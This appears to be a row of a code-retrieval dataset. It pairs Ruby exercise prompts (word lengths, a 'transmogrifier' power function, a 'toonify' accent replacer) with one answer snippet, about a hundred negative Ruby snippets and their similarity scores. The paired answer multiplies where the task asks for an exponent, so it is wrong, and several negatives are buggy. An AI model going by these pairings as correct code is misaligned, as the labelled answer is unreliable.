query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
lengths(words) => [5, 4, 2, 2, 4] def lengths(word) output = word.split('') .length puts output end def lengths(words) empty_array = [] words.each do |word| word_length = word.length empty_array.push(word_length) end return empty_array end puts lengths(words) Round 2 Write a Ruby function called transmogrifier This function should accept three arguments, which you can assume will be numbers. Your function should return the "transmogrified" result The transmogrified result of three numbers is the product (numbers multiplied together) of the first two numbers, raised to the power (exponentially) of the third number. For example, the transmogrified result of 5, 3, and 2 is (5 times 3) to the power of 2 is 225. Use your function to find the following answers. transmogrifier(5, 4, 3) transmogrifier(13, 12, 5) transmogrifier(42, 13, 7)
|
def transmogrifier(num1, num2, num3)
transmogrified = ((num1*num2) * num3)
return transmogrified
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def lengths(words)\n words.map do |word|\n word.length\n end\nend",
"def word_sizes(string)\n string.split.map do |word|\n word.size\n end.tally\n \nend",
"def word_lengths(words)\n words.split.map { |word| \"#{word} #{word.size}\" }\nend",
"def word_lengths(words)\n words.split(' ').map { |word| \"#{word} #{word.size}\" }\nend",
"def word_lengths(string)\n result = string.split.map do |word|\n word + \" \" + word.length.to_s\n end\n p result \nend",
"def lengths(words)\n wordlengths = []\n words.each do |word|\n wordlengths.push(word.length)\n end\n p wordlengths\nend",
"def word_lengths(phrase)\n words_array = phrase.split\n words_array.map do |word|\n word = \"#{word} #{word.size}\"\n end\nend",
"def word_lengths(string)\nstring.split.map{|e| e + ' ' + e.size.to_s}\nend",
"def word_sizes(string)\n string.split.map { |word| word.size }.tally\nend",
"def lengths\n words = gets.chop\n length = []\n words.each { |a| length << a.length}\n length\n end",
"def word_sizes(str)\n str.split.map { |element| element.size }.tally\nend",
"def word_lengths (words)\n words.map {|w| w.size }\nend",
"def word_lengths(str)\n str.split.map do |word|\n word + \" \" + word.length.to_s\n end\nend",
"def word_lengths(str)\nend",
"def length_finder(words)\n lengths = {}\n words.each do |word|\n lengths[word] = word.length\n end\n lengths.values\nend",
"def word_length(string)\n result = []\n string.split.each do |word|\n #result << word + ' ' + word.length.to_s\n result << \"#{word} #{word.length}\"\n end\n result\nend",
"def word_lengths(string)\n words = string.split\n\n words.map do |word|\n word + ' ' + word.length.to_s\n end\nend",
"def word_lengths(str)\n str.split.map{ |word| word + \" \" + word.size.to_s}\nend",
"def word_lengths(str)\n words = str.split\n word_sizes = []\n words.each do |word|\n word_sizes << \"#{word} #{word.size}\"\n end\n \n word_sizes\nend",
"def word_lengths(string)\n string.split.map {|word| word + \" \" + word.size.to_s}\nend",
"def word_lengths(string)\n string.split(\" \").map do |word|\n size = word.length \n word + \" #{size}\"\n end \nend",
"def word_lengths(str)\n words = str.split\n\n words.map do |word|\n \"#{word} #{word.length}\"\n end\nend",
"def find_short(s)\n # input is string\n # convert string to array\n converted = s.split(\" \") # gives us an array of words\n # order elements of array by length\n sorted_by_length = converted.sort_by {|x| x.length}\n # returns an array of words sorted by length\n # return the first element in array\n return sorted_by_length[0].length\n \nend",
"def word_lengths(sentence)\n words_lengths = Hash.new\n words = Array.new\n lengths = Array.new\n\n words = sentence.split\n\n words.each do |word|\n lengths << word.length\n end\n\n words_lengths = Hash[words.zip(lengths)]\n\n puts words_lengths\n\nend",
"def word_lengths(sentence)\n sentence.split.map { |str| \"#{str} #{str.length}\" }\nend",
"def word_lengths(sentence)\n # Write your code here\nend",
"def word_sizes(string)\n clean_string = string.gsub(/[^a-zA-Z]/, \" \")\n \n clean_string.split.map { |word| word.size }.tally\n \nend",
"def conversion(number)\n words_hash = {0=>\"zero\",1=>\"one\",2=>\"two\",3=>\"three\",4=>\"four\",5=>\"five\",6=>\"six\",7=>\"seven\",8=>\"eight\",9=>\"nine\",\n 10=>\"ten\",11=>\"eleven\",12=>\"twelve\",13=>\"thirteen\",14=>\"fourteen\",15=>\"fifteen\",16=>\"sixteen\",\n 17=>\"seventeen\", 18=>\"eighteen\",19=>\"nineteen\",\n 20=>\"twenty\",30=>\"thirty\",40=>\"forty\",50=>\"fifty\",60=>\"sixty\",70=>\"seventy\",80=>\"eighty\",90=>\"ninety\"}\n if words_hash.has_key?number\n return words_hash[number] \n else\n num_string = number.to_s.split(//)\n while num_string.size > 0 \n if num_string.size == 2\n return(\"and\")\n return words_hash[(num_string.join.to_i) - (num_string.join.to_i)%10] \n num_string.shift\n end\n if num_string.size > 4\n return(words_hash[(num_string[0,2].join.to_i) - (num_string[0,2].join.to_i) % 10])\n else\n return(words_hash[num_string[0].to_i]) \n end\n return(scale[num_string.size])\n num_string.shift\n end\n end\n\nend",
"def to_w # to_w is for 'to words'\n # Numbers up to 20 are quite irregular. We need a specific block of code for tens\n tens = lambda do |x|\n if x < 20\n @@english_numbers[x.to_s.to_sym]\n else\n decs = x.to_s[0] + '0'\n units = x.to_s[-1]\n \"#{@@english_numbers[decs.to_sym]} #{@@english_numbers[units.to_sym]}\"\n end\n end\n # Use a recursive lambda to call itself as many times as needed until the whole number is written\n sentence = lambda do |num|\n num_length = num.to_s.length\n if num_length < 3 # If number is lower than 99 use tens block\n tens.call(num)\n else\n # Create a temporary hash to keep track of the magnitude of the piece of number we are working with\n new_structure = @@structure.select{|k,v| [k,v] if k<num_length}\n digits = new_structure[0][0]\n following_digits = (new_structure.length == 1) ? 2 : new_structure[1][0]\n word = new_structure[0][1]\n if num <= (10**digits - 1) # Get feeper into recursion if the number is smaller than the current order of magnitude\n sentence.call(num)\n else\n # Split the word into a part belonging to the current order of magnitude and a rest\n left = num.to_s[0..-(digits+1)].to_i\n rest = num.to_s[-digits..-1].to_i\n # Apply English grammar rules and exectute the same code recursively onto each side\n if rest == 0\n \"#{sentence.call(left)} #{word}\"\n elsif rest < 10**following_digits\n \"#{sentence.call(left)} #{word} and #{sentence.call(rest)}\" \n else\n \"#{sentence.call(left)} #{word} #{sentence.call(rest)}\"\n end\n end\n end\n end\n # Execute the recursive lambda\n sentence.call(self)\n end",
"def word_lengths(str)\n ary = str.split(' ')\n ary.map {|word| word + \" #{word.size.to_s}\"}\nend",
"def word_lengths(string)\n string.split(' ').map do |word|\n word << ' ' + word.size.to_s\n end\nend",
"def words_of_length(length)\n @generated_word_lengths ||= [0]\n @words_by_length ||= {0 => ['']}\n\n while @generated_word_lengths[-1] < length \n last_length = @generated_word_lengths[-1] \n next_length = last_length + 1\n @words_by_length[next_length] = @words_by_length[last_length].collect{|word| next_words_for word }.flatten\n @generated_word_lengths << next_length\n end\n\n @words_by_length[length]\n end",
"def word_lengths(string)\n string.split(' ').map { |item| item << \" #{item.size}\"}\nend",
"def length_finder(input_array)\n total = []\n input_array.each { |word| total << word.length }\n return total\nend",
"def word_lengths(string)\n word_lengths = []\n\n string.split.each do |word|\n word_lengths << word + \" #{word.size}\"\n end\n\n word_lengths\nend",
"def word_lengths(string)\n string.split.map { |word| word << \" #{word.size}\" }\nend",
"def numbersToWords(a,b)\n\nnumbers = {0 => \"\", 1 => \"one\", 2 => \"two\", 3 => \"three\", 4 => \"four\", 5 => \"five\"} \nnumbers.merge! 6 => \"six\", 7 => \"seven\", 8 => \"eight\", 9 => \"nine\", 10 => \"ten\"\nnumbers.merge! 11 => \"eleven\", 12 => \"twelve\", 13 => \"thirteen\", 14 => \"fourteen\" \nnumbers.merge! 15 => \"fifteen\", 16 => \"sixteen\", 17 => \"seventeen\", 18 => \"eighteen\" \nnumbers.merge! 19 => \"nineteen\", 20 => \"twenty\", 30 => \"thirty\", 40 => \"forty\" \nnumbers.merge! 50 => \"fifty\", 60 => \"sixty\", 70 => \"seventy\", 80 => \"eighty\", 90 => \"ninety\" \nnumbers.merge! 100 => \"hundred\", 1000 => \"thousand\"\nwords = 0\n\nfor n in (a..b)\n\nthousands = n/1000\nhundredsAndTensAndOnes = n % 1000\nhundreds = (hundredsAndTensAndOnes / 100) * 100\ntensAndOnes = hundredsAndTensAndOnes - hundreds\ntens = (tensAndOnes / 10) * 10\nones = tensAndOnes - tens\n\nif thousands != 0 \nprint \"#{numbers[thousands]} thousand \"\nwords += numbers[thousands].length\nwords += numbers[1000].length\nend\n\nif thousands != 0 && hundreds == 0 && tensAndOnes != 0\nprint \"and \"\nwords += 3\nend\n\nif hundreds != 0\nprint \"#{numbers[hundreds/100]} hundred \"\nwords += numbers[hundreds/100].length\nwords += numbers[100].length\nend\n\nif hundreds != 0 && tensAndOnes != 0\nprint \"and \"\nwords += 3\nend\n\nif tensAndOnes > 19\nprint \"#{numbers[tens]} #{numbers[ones]}\"\nwords += numbers[tens].length\nwords += numbers[ones].length\nend\n\nif tensAndOnes < 20\nprint \"#{numbers[tensAndOnes]}\"\nwords += numbers[tensAndOnes].length\nend\n\nputs \"\"\n\nend\n\nprint \"There are #{words} letters in the written-out numbers between #{a} and #{b} (inclusive).\"\n\nend",
"def word_lengths(str)\n str.split.map { |word| \"#{word} #{word.length}\" }\nend",
"def word_lengths(string)\n string.split(' ').map {|word| \"#{word} #{word.length}\"}\nend",
"def word_sizes2(string)\n frequency = Hash.new(0) #set the default value to 0\n string.split.each do |word| \n frequency[word.length] += 1\n end\n frequency\nend",
"def word_lengths(string)\n string.split.map { |word| \"#{word} #{word.length}\" }\nend",
"def word_lengths(string)\n string.split.map { |word| \"#{word} #{word.length}\" }\nend",
"def string_lengths input_array\n\n results = []\n input_array.each do |n| \n results.push(n.length)\n end\n results\nend",
"def word_lengths(sentence)\n array = sentence.split.map { |ele| [ele, ele.length] }\n array.to_h\nend",
"def word_sizes(str)\n ary = str.split\n # Create array of word lengths\n num_array = ary.map do |word|\n word.length\n end\n rtn_hsh = ary.each_with_object({}) do |word, hsh|\n hsh[word.length] = num_array.count(word.length)\n end\n rtn_hsh\nend",
"def word_sizes(words)\n length_arr = []\n hash_words = {}\n words.gsub(/[^[:word:]\\s]/, '').split(' ').each do |word| \n length_arr << word.length\n end\n length_arr.uniq.each do |element|\n hash_words[element] = length_arr.count(element)\n end\n hash_words\nend",
"def length_calculator; end",
"def determine_how_many(number, unit)\n\t(number / unit).in_words\nend",
"def string_lengths(arr)\n arr.map { |word| word.length }\nend",
"def word_sizes(str)\n str = str.gsub(/[^a-zA-Z ]/,\"\")\n str.split.map { |element| element.size }.tally\nend",
"def add_length(str)\n # Init new array to store our results in\n new_array = []\n\n # First, we need to split the string, to break this into seperate words\n # then iterate through our string, and then calculating the length of the string\n # and storing that result into word_length\n str.split.each do |word|\n word_length = word.length\n\n # Assign a new string containing the word that we're iterating through, along with\n # the length of the word, then storing that into total\n total = \"#{word} #{word_length}\"\n\n # Append our new string into our currently empty array\n new_array << total\n end\n\n # Return results\n new_array\nend",
"def length_finder(input_array)\n input_array.map {|word| word.size}\nend",
"def word_lengths(str)\n list = str.split(\" \")\n list.each_index {|i| list[i] += \" #{list[i].length}\"}\nend",
"def word_sizes(words)\n result_hash = Hash.new(0)\n words.split.each do |word| \n word = word.gsub(/[^a-z]/i,\"\")\n result_hash[word.length] += 1\n end\n result_hash\nend",
"def words_of_even_length(sentence)\nend",
"def word_lengths(str)\n str.split.reduce({}) do |acc, word|\n acc[word] = word.length\n acc\n end\nend",
"def lengths2 (arr)\n arr.map {|str| str.length}\nend",
"def word_lengths(str)\n words = str.split(\" \")\n word_lengths = {}\n\n words.each do |word|\n word_lengths[word] = word.length\n end\n\n word_lengths\nend",
"def problem16(number, power)\n x = number**power\n x = x.to_s.split(\"\")\n answer = 0\n x.length.times do |i|\n answer += x[i].to_i\n end\n return answer\nend",
"def word_sizes(words)\n word_count = Hash.new(0) #this initializes default values as 0\n\n words.split.each do |word|\n word_count[word.length] += 1\n end\n\n word_count.sort.to_h\nend",
"def words_longer_than(array,num)\n new_array = []\n array.map{ |w|\n new_array.push(w.count(\"e\"))\n }\n letter_per_word(new_array, new_array.length)\nend",
"def theLoveLetterMystery(s)\n chars = s.chars\n size = chars.length\n sum = 0\n ((size+1)/2..(size -1)).each do |i|\n num = chars[i].ord\n target_num = chars[size-1-i].ord\n sum += (num - target_num).abs\n end\n sum\nend",
"def number_in_words(n,ending=nil)\n # It's probably the worst code in ruby I've ever written\n # It seems to work, but it definitely should not ;)\n n = n.to_i \n return '' if n.nil? or n == 0 \n sc = [''] + %w{jeden dwa trzy cztery pięć sześć siedem osiem dziewięć}\n sn = %w{dziesięć jedenaście dwanaście trzynaście czternaście piętnaście szesnaście siedemnaście osiemnaście dziewiętnaście}\n sd = ['',''] + %w{dwadzieścia trzydzieści czterdzieści pięćdziesiąt sześćdziesiąt siedemdziesiąt osiemdziesiąt dziewiędziesiąt sto}\n ss = [''] + %w{sto dwieście trzysta czterysta pięćset sześćset siedemset osiemset dziewięćset}\n b = (ending || ['','','']),%w{tysiąc tysiące tysięcy},%w{milion miliony milionów},%w{miliard miliardy miliardów},%w{bilion biliony bilionów} \n p = n.to_s.size \n return n if p > 15\n d,dn = n.to_s[0,(p%3 == 0 ? 3 : p%3)], n.to_s[(p%3 == 0 ? 3 : p%3)..-1]\n return \"#{d.to_i==0 ? '' : b[((p-1)/3.0).floor][0]} #{number_in_words(dn,ending)}\".strip if (d.to_i == 1 or d.to_i == 0 ) and n != 1\n r = ''\n (d.size-1).downto(0) do |i|\n r += ' ' unless r[-1] and r[-1].chr == ' '\n r += ss[d[-i-1].chr.to_i] if i == 2 \n d[-i-1].chr.to_i == 1 ? (r += sn[d[-i].chr.to_i]; d = d[0..-2]; break) : r += sd[d[-i-1].chr.to_i] if i == 1\n r += sc[d[-i-1].chr.to_i] if i == 0 \n end\n (2..4) === (d.to_i % 10) ? k=1 : k=2\n \"#{r.strip} #{b[((p-1)/3.0).floor][k]} #{number_in_words(dn.to_i,ending)}\".strip\n end",
"def word_sizes(words)\n word_count = Hash.new(0)\n words = words.delete \"^a-zA-Z \"\n\n words.split.each do |word|\n word_count[word.length] += 1\n end\n\n word_count.sort.to_h\nend",
"def word_sizes2(str)\n ans = str.split(' ').map do |word|\n word.gsub(/[^ a-zA-Z]/, '')\n end\n\n word_sizes1(ans.join(' '))\nend",
"def calc_characters(string)\n words = string.split\n chars = 0\n words.each { |word| chars += word.size }\n chars\nend",
"def sum_power\n\tsum = 2**1000\n\tputs sum\n\n\tsum_s = sum.to_s\n puts sum_s.split(\"\").inject(0){|accum, value| accum += value.to_i}\n #some how sum_s.length doesn't work\n #puts (0...(sum_s.length)).inject(0){|accum, value| accum += (sum_s[value] - ?0)}\n\n #puts \"1230989\".length\nend",
"def RunLength(str)\n\t new_str = []\n\t str = str.downcase.split('')\n\t hash = Hash.new(0)\n\t str.each do |k, v|\n\t \thash[k] += 1\n\t end\n\t \n\t hash.to_a.each do |a|\n\t \tnew_str.push(a.reverse.join)\n\t end\n\t new_str.join\nend",
"def word_lengths(sentence)\n words = sentence.split(\" \")\n lengths = {}\n\n words.each { |word| lengths[word] = word.length}\n\n return lengths\nend",
"def word_sizes(sentence)\n cleaned = sentence.gsub(/[^0-9a-z]/i, ' ')\n grouped = cleaned.split.group_by {|x| x.length }\n results = grouped.each {|x, i| grouped[x] = i.length}\n end",
"def word_lengths(str)\n words = str.split(\" \")\n word_length = Hash.new(0)\n words.each {|ele| word_length[ele] = ele.length}\n word_length\nend",
"def word_sizes(str)\n length_hsh = {}\n\n str.split(' ').each do |word|\n if length_hsh.key?(word.length)\n length_hsh[word.length] += 1\n else\n length_hsh[word.length] = 1\n end\n end\n\n length_hsh\nend",
"def letter_counts(limit)\r\n\t# Define word for cooresponding number\r\n\tnumbers_to_words = {one: 1, two: 2, three: 3, four: 4, five: 5, six: 6, seven: 7, eight: 8, nine: 9, ten: 10,\r\n\t\t\t\t\t\t\t\t\t\t eleven: 11, twelve: 12, thirteen: 13, fourteen: 14, fifteen: 15, sixteen: 16, seventeen: 17, eighteen: 18,\r\n\t\t\t\t\t\t\t\t\t\t nineteen: 19, twenty: 20, thirty: 30, forty: 40, fifty: 50, sixty: 60, seventy: 70, eighty: 80, ninety: 90}\r\n\r\n\t#Variable to count total length\r\n\tcount = 0\r\n\t# Iterate through every number up to limit\r\n\t(1..limit).each do |num|\r\n\t\t# word variable will store word string for current number\r\n\t\tword = \"\"\r\n\t\t# Convert number to array so it is easier to manipulate\r\n\t\tnum_array = num.to_s.split(\"\")\r\n\r\n\t\t# If only one digit long, simply assign key to word\r\n\t\tif num_array.length == 1\r\n\t\t\tx = num_array.join.to_i\r\n\t\t\tword << numbers_to_words.key(x).to_s\r\n\t\tend\r\n\r\n\t\t# If four digits long, add \"one thousand\" to number\r\n\t\tif num_array.length == 4\r\n\t\t\tnum_array.shift\r\n\t\t\tword << \"onethousand\"\r\n\r\n\t\t# If at least three digits, add relevant 1 through 9 key with \"hundred\"\r\n\t\telsif num_array.length >= 3\r\n\t\t\tx = num_array.shift.to_i\r\n\t\t\tword << numbers_to_words.key(x).to_s\r\n\t\t\tword << \"hundred\"\r\n\t\t\t# If number continues after third digit, include \"and\"\r\n\t\t\tword << \"and\" unless num_array == [\"0\",\"0\"]\r\n\t\tend\r\n\r\n\t\t# If at least a two digit number,\r\n\t\tif num_array.length >= 2\r\n\t\t\t# If higher than 20, add relevant 'multiple of ten' key before single key\r\n\t\t\tif num_array.join.to_i > 20\r\n\t\t\t\tx = num_array.shift.to_i * 10\r\n\t\t\t\tword << numbers_to_words.key(x).to_s\r\n\t\t\t\tx = num_array.join.to_i\r\n\t\t\t\tword << numbers_to_words.key(x).to_s\r\n\t\t\t# If less than 20, simply assign key to word\r\n\t\t\telse\r\n\t\t\t\tx = num_array.join.to_i\r\n\t\t\t\tword << numbers_to_words.key(x).to_s\r\n\t\t\tend\r\n\t\tend\r\n\r\n\t\t# Output entire word and increase count by word length\r\n\t\tputs word\r\n\t\tcount += word.length\r\n\tend\r\n\tputs count\r\nend",
"def number_word_char_count\n (1..1000).map(&:english_word).join.count_chars\nend",
"def lengths array\n\tarray.map{|word| word.length}\nend",
"def word_lengths(str)\n # nested = []\n # str.split.each do |word|\n # nested << [word, word.length]\n # end\n # nested.to_h\n\n lengths = {}\n str.split.each {|word| lengths[word] = word.length}\n lengths\nend",
"def solve(words, letters)\n hash = Hash.new(0)\n hash2 = Hash.new(0)\n letters.each_char do |char|\n hash[char] += 1\n end\n \n longest = 0\n \n words.each_with_index do |word, idx|\n word.each_char.with_index do |char, idx|\n if !hash[char] || hash[char] <= 0\n next\n end\n if hash[char] > 0\n hash[char] -= 1\n end\n end\n \n end\n return longest\nend",
"def word_counter (string)\n array = string.split\n array.length\nend",
"def word_lengths(sentence)\n\twords = sentence.split(\" \")\n \thash = {}\n words.each {|word| hash[word] = word.length}\n return hash\n \nend",
"def solution(s, p, q)\n # write your code in Ruby 2.2\n g = s.length + 1\n a = (s.length + 1)**3\n c = (s.length + 1)**2\n tmp = []\n res = []\n tmp.push 0\n o = 0\n s.split('').each do |i|\n o += if i == 'T'\n 1\n elsif i == 'G'\n g\n elsif i == 'C'\n c\n else\n a\nend\n tmp.push o\n end\n (0...p.length).each do |k|\n o = tmp[q[k] + 1] - tmp[p[k]]\n if o >= a\n res.push 1\n elsif o >= c\n res.push 2\n elsif o >= g\n res.push 3\n else\n res.push 4\n end\n end\n res\nend",
"def long_words(words, length)\n # TODO\nend",
"def make_words(n)\n\n\nn_string = n.to_s\n\n\nsingles = {\n \"1\" => \"one\",\n \"2\" => \"two\",\n \"3\" => \"three\",\n \"4\" => \"four\",\n \"5\" => \"five\",\n \"6\" => \"six\",\n \"7\" => \"seven\",\n \"8\" => \"eight\",\n \"9\" => \"nine\",\n }\n\n\ntens = {\n \"2\" => \"twenty\",\n \"3\" => \"thirty\",\n \"4\" => \"forty\",\n \"5\" => \"fifty\",\n \"6\" => \"sixty\",\n \"7\" => \"seventy\",\n \"8\" => \"eighty\",\n \"9\" => \"ninety\",\n }\n\n if n_string.length == 1\n\n puts singles[n_string]\n\n elsif n_string == \"10\"\n p \"TEN!\"\n\n elsif n_string == \"11\"\n p \"eleven\"\n\n elsif n_string == \"12\"\n p \"twelve\"\n\n elsif n_string == \"13\"\n p \"thirteen\"\n\n elsif n_string == \"14\"\n p \"fourteen\"\n\n elsif n_string == \"15\"\n p \"fifeteen\"\n\n elsif n_string == \"16\"\n p \"sixteen\"\n\n elsif n_string == \"17\"\n p \"seventeen\"\n\n elsif n_string == \"18\"\n p \"eighteen\"\n\n elsif n_string == \"19\"\n p \"nineteen\"\n\n\n\n elsif n_string.length == 2\n array = n_string.split(//)\n\n if array[1] == \"0\"\n p tens[array[0]]\n\n else\n p tens[array[0]] + singles[array[1]]\n\n end\n\n else n_string.length == 3\n p \"ONE HUNDRED!\"\n\n end\nend",
"def polly_wanna(word)\n return word*3\nend",
"def nums_to_words() \n number_array = @number.to_s.split(\"\").map! {|item| item.to_i}\n if number_array.length === 4\n thousands_array = [number_array.shift]\n space_array = [three_array(thousands_array), \"thousand\"] \n num_total = 0\n number_array.each do |num|\n num_total += num\n end\n if num_total !=0\n space_array.push(three_array(number_array))\n end\n return space_array.join(\" \")\n end\n three_array(number_array)\n end",
"def polly_wanna word\n word * 3\nend",
"def polly_wanna word\n word * 3\nend",
"def calculateWeight word\n letters = word.split\n weight = 0\n hash_alphabet = generateHashWithLetterAndWeight()\n letters.each do |letter|\n (/[[:upper:]]/.match(letter)) ? weight += hash_alphabet[letter.downcase].to_i * 2 : weight += hash_alphabet[letter.downcase].to_i\n end\n weight\n end",
"def num_to_word(number)\n\n\n\n\n# Refactored Solution\n\n\n\n\n\n\n# Reflection",
"def my_version(lorem)\n points = proc { |word| word.chars.map { |l| l.ord - 96 }.sum }\n lorem.split.reduce do |memo, word|\n points.call(word) > points.call(memo) ? word : memo\n end\nend",
"def polly_wanna(word)\n word * 3\nend",
"def string_lengths (foo)\n foo.map {|word| word.length }\nend",
"def longest_two_words(string)\n\n hsh = Hash.new # created hash-table as accumulator\n words = string.split # words split into an array\n\n words.each_index do |i| # data (word:length) structured to hsh\n word = words[i].delete('.,')\n hsh[word] = word.length\n end\n # finding of two longest words\n wrd1, wrd2 = \"\", \"\"\n val1, val2 = 0, 0\n\n hsh.each do |wrd, val|\n\n if val >= val2\n wrd2, wrd1 = wrd, wrd2\n val2, val1 = val, val2\n elsif val >= val1\n wrd1 = wrd\n val1 = val\n end\n\n end\n # result\n [wrd1, wrd2]\nend",
"def find_words_of_length(w_len, phone_number)\n pn_len = phone_number.length\n index = 0\n\n while (index <= (pn_len - w_len)) do\n seq = phone_number[index...(index + w_len)]\n num_key = seq.to_i\n\n if ((seq[0] != '0') && @word_seq[num_key])\n yield index, @word_seq[num_key]\n end\n index += 1\n end\n\n end",
"def length_finder(input_array)\n result=Array.new\n input_array.each do |string|\n result << string.length\n end\n return result\nend",
"def persistence(num)\n count = 0\n while num.to_s.length > 1 do\n count+=1\n num = num.to_s.split('').map{|el| el.to_i}.reduce{|a,b| a*b}\n end\n return count\nend",
"def find_word_lengths(word_list)\n word_list.reduce(Hash.new(0)) do |hash, el|\n hash[el] += el.size\n hash\n end\nend",
"def word_lengths(str)\n hashed = str.split(\" \").map {|word| [word, word.length]}.flatten\n return Hash[*hashed]\nend",
"def word_sizes(string)\n split_string_array = string.split(\" \")\n keys = []\n results = {}\n\n split_string_array.each do |word|\n keys << word.length\n end\n\n keys.each do |key|\n results[key] = keys.count(key)\n end\n\n results.sort_by {|k,v| k}.to_h\nend",
"def average_length_of_words(sentence)\nend",
"def luhns(a)\n\tb = a.to_s[0..-2].reverse.split(\"\").to_a.map{|v|v.to_i}\n\t(b.each_index{|i|i.even? ? b[i]=b[i]*2>9?b[i]*2-9:b[i]*2:i=i}.inject(:+)+a)%10==0\nend",
"def tri_to_dec(trinary)\n res = trinary.chars.map(&:to_i).reverse\n len = res.length\n sum = 0\n (0..len-1).each do |i|\n sum += res[i] * 3**i\n end\n sum\nend"
] |
[
"0.69299996",
"0.68836695",
"0.68257153",
"0.6823472",
"0.67481667",
"0.6738128",
"0.6714115",
"0.67007834",
"0.66619575",
"0.66493887",
"0.66137016",
"0.65939283",
"0.65709996",
"0.65697974",
"0.65692747",
"0.6562452",
"0.6520141",
"0.65001065",
"0.6490536",
"0.64900935",
"0.6473863",
"0.64724666",
"0.63935184",
"0.63571197",
"0.63374823",
"0.63350755",
"0.6331499",
"0.6325228",
"0.631645",
"0.6300981",
"0.6294274",
"0.6274728",
"0.6274172",
"0.6264212",
"0.62641037",
"0.6261432",
"0.6257883",
"0.6257461",
"0.6246967",
"0.6220473",
"0.62070084",
"0.62070084",
"0.61943555",
"0.6170105",
"0.61598307",
"0.6149746",
"0.6118188",
"0.6114066",
"0.61107934",
"0.6085159",
"0.6084958",
"0.60820395",
"0.60687286",
"0.6051917",
"0.60489684",
"0.60314375",
"0.6021241",
"0.60120666",
"0.60099316",
"0.6008831",
"0.60003525",
"0.5999036",
"0.5998832",
"0.5994134",
"0.59872305",
"0.59762746",
"0.5969852",
"0.59670204",
"0.5963669",
"0.5958527",
"0.5953024",
"0.5950897",
"0.59471804",
"0.5944153",
"0.59369284",
"0.5930055",
"0.59258986",
"0.5910396",
"0.59065014",
"0.59004015",
"0.5899043",
"0.5889315",
"0.58856845",
"0.5882896",
"0.58811766",
"0.58811766",
"0.5880607",
"0.5865497",
"0.585776",
"0.5855694",
"0.5835655",
"0.583183",
"0.58207947",
"0.58195376",
"0.58105016",
"0.580958",
"0.58070004",
"0.5793664",
"0.57907873",
"0.578975",
"0.5788158"
] |
0.0
|
-1
|
Round 3 Write a function called toonify that takes two parameters, accent and sentence. If accent is the string "daffy", return a modified version of sentence with all "s" replaced with "th". If the accent is "elmer", replace all "r" with "w". Feel free to add your own accents as well! If the accent is not recognized, just return the sentence asis. toonify("daffy", "so you smell like sausage") => "tho you thmell like thauthage"
|
def toonify(accent, sentence)
if accent == 'daffy'
return sentence.gsub('s', 'th')
elsif accent == 'elmer'
return sentence.gsub('r', 'w')
else
return sentence
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def toonify (accent, sentence)\n if accent == 'daffy'\n return sentence.gsub('s','th')\n elsif accent =='elmer'\n return sentence.gsub('r','w')\n else\n return sentence\n end\n end",
"def toonify(accent, sentence)\n\tif accent == \"daffy\"\n\t\tre = /s/\n\t\tsentence = sentence.replace(re,\"th\")\n\telsif accent == \"elmer\"\n\t\tre = /r/\n\t\tsentence = sentence.replace(re, \"w\")\n\telse\n\t\tput sentence\n\tend\nend",
"def toonify(accent, sentence)\n if accent == \"daffy\"\n return sentence.gsub(/[s]/, 'th')\n elsif accent == \"elmer\"\n return sentence.gsub(/[r]/, 'w')\n else\n return sentence\n end\nend",
"def toonify accent, sentence\n\tif accent == \"daffy\" \n\t\tsentence.gsub(/s/, \"th\")\n\telsif accent == \"elmer\" \n\t\tsentence.gsub(/r/, \"w\")\n\tend\nend",
"def toonify (accent, sentence)\n if accent == \"daffy\"\n p sentence.gsub \"s\", \"th\"\n elsif accent == \"elmer\"\n p sentence.gsub \"r\", \"w\"\n else\n sentence\n end\nend",
"def toonify(accent, sentence)\n return sentence.gsub(/s/, \"th\") if accent == \"daffy\"\n return sentence.tr(\"r\", \"w\") if accent == \"elmer\"\n sentence\nend",
"def toonify(accent, sentence)\n\tif accent == \"daffy\"\n\t\tp sentence.gsub(\"s\", \"th\")\n\telsif accent == \"elmer\"\n\t\tp sentence.gsub(\"r\", \"w\")\n\telsif accent == \"german\"\n\t\tp sentence.gsub(\"w\", \"v\")\n\telse\n\t\tp \"Sorry, don't know that accent.\"\n\tend\nend",
"def toonify(accent, sentence)\n\tif accent == \"daffy\"\n\t\tsentenceArr = sentence.split('')\n\t\tsentenceArr.map! do |word|\n\t\t\tif word == 's'\n\t\t\t\tword = 'th'\n\t\t\telse\n\t\t\t\tword = word\n\t\t\tend\n\t\tend\n\t\tp sentenceArr.join()\n\telsif accent == \"elmer\"\n\t\tsentenceArr = sentence.split('')\n\t\tsentenceArr.map! do |word|\n\t\t\tif word == 'r'\n\t\t\t\tword = 'w'\n\t\t\telse\n\t\t\t\tword = word\n\t\t\tend\n\t\tend\n\t\tp sentenceArr.join()\n\telse\n\t\tp sentence\n\tend\nend",
"def toonify (accent, sentence)\n if accent == 'daffy'\n p sentence.gsub('s', 'th')\n end\nend",
"def toonify(accent,sentence)\n\n if accent == 'daffy'\n sentence.tr('s','th')\n elsif accent == 'elmer'\n sentence.tr('r','w')\n else\n return sentence\nend\nend",
"def toonify (accent,sentence)\n if accent == \"daffy\"\n puts sentence.gsub('s','th')\n elsif accent == \"elmer\"\n puts sentence.gsub('r','w')\n else \n puts sentence\n end\nend",
"def toonify |accent, sentence|\n\n\nend",
"def toonify (accent, sentence)\n new_sentence = []\n if accent == 'daffy'\n sentence.split('').each do |character|\n if character == 's'\n new_sentence.push 'th'\n else\n new_sentence.push character\n end\n end\n elsif accent == 'elmer'\n sentence.split('').each do |character|\n if character == 'r'\n new_sentence.push 'w'\n else\n new_sentence.push character\n end\n end\n end\n puts new_sentence.join\nend",
"def translate (sentence)\n\ttranslated = ''\n\twords = sentence.split(' ')\n\twords.each { |word|\n\t\tfound_vowels = word.scan(/^[aeiou]*/)\n\t\tfound_consonants = word.scan(/^[bcdfghjklmnpqrstvxzwy]*/)\n\t\tif !found_vowels[0].empty?\n\t\t\ttranslated << word << 'ay'\n\t\telsif !found_consonants[0].empty?\n\t\t\tword = word.tr(found_consonants[0], '')\n\t\t\ttranslated << word << found_consonants[0] << 'ay'\n\t\tend\n\t\tif words.length > 1\n\t\t\ttranslated << ' '\n\t\tend\n\t}\n\treturn translated.rstrip\nend",
